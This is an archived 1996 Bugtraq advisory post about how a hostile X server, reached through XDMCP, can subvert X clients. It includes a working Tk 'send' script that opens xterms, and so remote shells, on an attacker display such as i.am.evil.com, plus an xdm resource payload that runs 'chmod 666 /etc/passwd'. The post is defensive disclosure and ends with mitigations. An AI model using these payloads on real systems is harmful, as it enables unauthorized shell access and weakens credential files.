[3315] in bugtraq
Hostile X servers
daemon@ATHENA.MIT.EDU (Zygo Blaxell)
Tue Sep 3 01:26:15 1996
Date: Sun, 1 Sep 1996 12:31:57 -0400
Reply-To: Zygo Blaxell <zblaxell@MYRUS.COM>
From: Zygo Blaxell <zblaxell@MYRUS.COM>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@netspace.org>
Hmmm...it seems the evil munchkins are now overrunning buffers in the
X11 Xt library to exploit setuid programs like Xterm.
For those of us who've been paying attention for the last six months,
this can be no surprise. However, this makes me think of other X-related
attacks.
I wonder how secure the X11 libraries and commonly-used programs are
against a hostile X server attack. By that I mean the attacker attempts
to gain access by using XDMCP to start an X session on their X "server",
but their X "server" is really just a program that feeds malicious data
back at the X clients in an attempt to subvert them.
The first library that comes to mind is Tk. You just can't use
out-of-the-box Tk widgets to open a window on a hostile X server,
because anyone with access to the hostile X server can cause your Tcl
interpreter to execute arbitrary commands.
Consider an X-based messaging program, where a window pops up on someone
else's X terminal with a message and an OK button. If that program is
written in Tk, then the attacker runs this to get a shell running as
the same ID as the message program:
#!/usr/bin/wish
# Try to protect ourselves from ourselves...
# This is not perfect. We could be sent a command between
# Tk_Initialize() and now.
rename send {}
wm withdraw .
if $argc!=1 {
puts "Usage: $argv0 my_display"
puts "Uses tk 'send' to launch one xterm for each Tk application on the current"
puts "X DISPLAY. The xterm processes appear on 'my_display'"
puts "Note: For this to work you have to make your own X server insecure."
puts "Example: "
puts "DISPLAY=xhost.victim.com:0 $argv0 i.am.evil.com:0"
puts "If you have a broken shell, the above won't work. Instead, try:"
puts "(setenv DISPLAY xhost.victim.com:0; $argv0 i.am.evil.com:0)"
exit 2
}
set my_display $argv
set windows [winfo interps]
foreach window $windows {
send $window "exec xterm -display $my_display &"
}
exit 0
Tk is becoming very popular. Don't use it for X programs that have to
be secure against hostile users.
Note: there is a compile-time option to disable the send command in Tk;
if you must use Tk, only use Tk with this option compiled in. Call it
'tk-nosend' or some such thing, so you can be certain that the Tk code
you are writing will never be linked against the standard (unsafe)
Tk library.
The next thing that comes to mind is Netscape; however, I doubt that
it's going to be the target of many hostile-X-server attacks. If
someone is running Netscape on your X terminal, just print any WWW page
and you can get a shell as the user running Netscape.
A lot of X client libraries get their configuration information
from the X resource database. This is a series of records that looks
something like this:
xfsm.minimize: true
xfsm.mainWin.geometry: +0-0
xfsm.root: false
xfsm.warn1val: 0
xfsm.warn1col: green
xfsm.warn2val: 98
xfsm.warn2col: yellow
xfsm.warn3val: 99
xfsm.warn3col: red
ssh-dispatch.ftop*listbox*font: 5x7
The names correspond to windows or widgets in client programs. The values
usually specify colors, fonts, and so on.
The resource database comes in several parts:
- resources compiled into the client program
- a system-wide database on the client machine
- the invoking user's home directory on the client machine
- the X server (I think it's a property of the root window)
This is designed to allow you to customize programs for operation on
a wide variety of X displays and host machines. The system-wide
database provides reasonable default values. The user-specific
database customizes clients for users' tastes. The X-server-specific
resource database usually changes colors and fonts to optimize client
displays for the display hardware (i.e. bigger fonts on higher-resolution
displays, brighter or darker colors for gamma-incorrect displays).
However, a number of programs also use the values to specify file
names to read or write, or the names of devices (some versions of
Xterm and Xconsole, graphical CD player programs, and a number of
monitor-your-system-status-with-a-funky-bar-graph programs), whether
to be interactive (xv and Mosaic), even entire shell command lines
(xscreensaver).
The danger, of course, is in running one of these programs on a hostile
X server. Many X configurations I've seen run 'xconsole' on the login
window, as root. Some xconsole versions I've seen allow you to specify
a file name to read in 'tail -f' fashion. Impact: you can read new
mail for any user, or read restricted log files on the XDM server machine
(or xconsole client machine, depending on your point of view).
Some people put a picture (company logo, whatever) on the root window
during login. Don't do it with 'xv'.
Other programs that people might want to put on the root window during
login: Workman (so people can play CD's without logging in to the
machine), mixer programs (similar reason), xload, clock programs.
Also note that anything run in the xdm configuration files (like
the system-wide Xsession file) is vulnerable to attack this way.
Interestingly enough, 'xdm' itself uses resources to configure the login
widget. You can do some interesting things with this:
xlogin*login.translations: #override\
<Key>F2: set-session-argument(`chmod 666 /etc/passwd`) finish-field()\n\
Ctrl<Key>R: abort-display()\n\
<Key>F1: set-session-argument(failsafe) finish-field()\n\
Ctrl<Key>Return: set-session-argument(failsafe) finish-field()\n\
<Key>Return: set-session-argument() finish-field()
Depending on how well-written the system-wide X session file is, this
can be a successful attack.
Also, consider what would happen if you could control these from the X
server side (note: I don't think you can, but it is important to make
sure that the status quo is maintained).
DisplayManager.errorLogFile: /usr/X11R6/lib/X11/xdm/xdm-errors
DisplayManager.pidFile: /usr/X11R6/lib/X11/xdm/xdm-pid
DisplayManager.servers: /usr/X11R6/lib/X11/xdm/Xservers
DisplayManager.keyFile: /usr/X11R6/lib/X11/xdm/xdm-keys
DisplayManager.accessFile: /usr/X11R6/lib/X11/xdm/Xaccess
DisplayManager._0.setup: /usr/X11R6/lib/X11/xdm/Xsetup_0
DisplayManager._0.startup: /usr/X11R6/lib/X11/xdm/GiveConsole
DisplayManager._0.reset: /usr/X11R6/lib/X11/xdm/TakeConsole
DisplayManager*resources: /usr/X11R6/lib/X11/xdm/Xresources
DisplayManager*session: /usr/X11R6/lib/X11/xdm/Xsession
All of these except Xsession are executed or accessed with root privilege.
Something to think about. If in doubt, remove all nonessential X clients
on the X login window, check the security of your Xsession program,
disable all untrusted hosts in your access file, then firewall them on
UDP port XDMCP.
--
Zygo Blaxell. Unix/soft/hardware guru, was for U of Waterloo CS Club, now for
(name withheld by request). 10th place, ACM Intl Collegiate Programming Contest
Finals, 1994. Admin Linux/TCP/IP for food, clothing, anime. Pager: 1 (613)
760 8572. "I gave up $1000 to avoid working on windoze... *sigh*" - Amy Fong
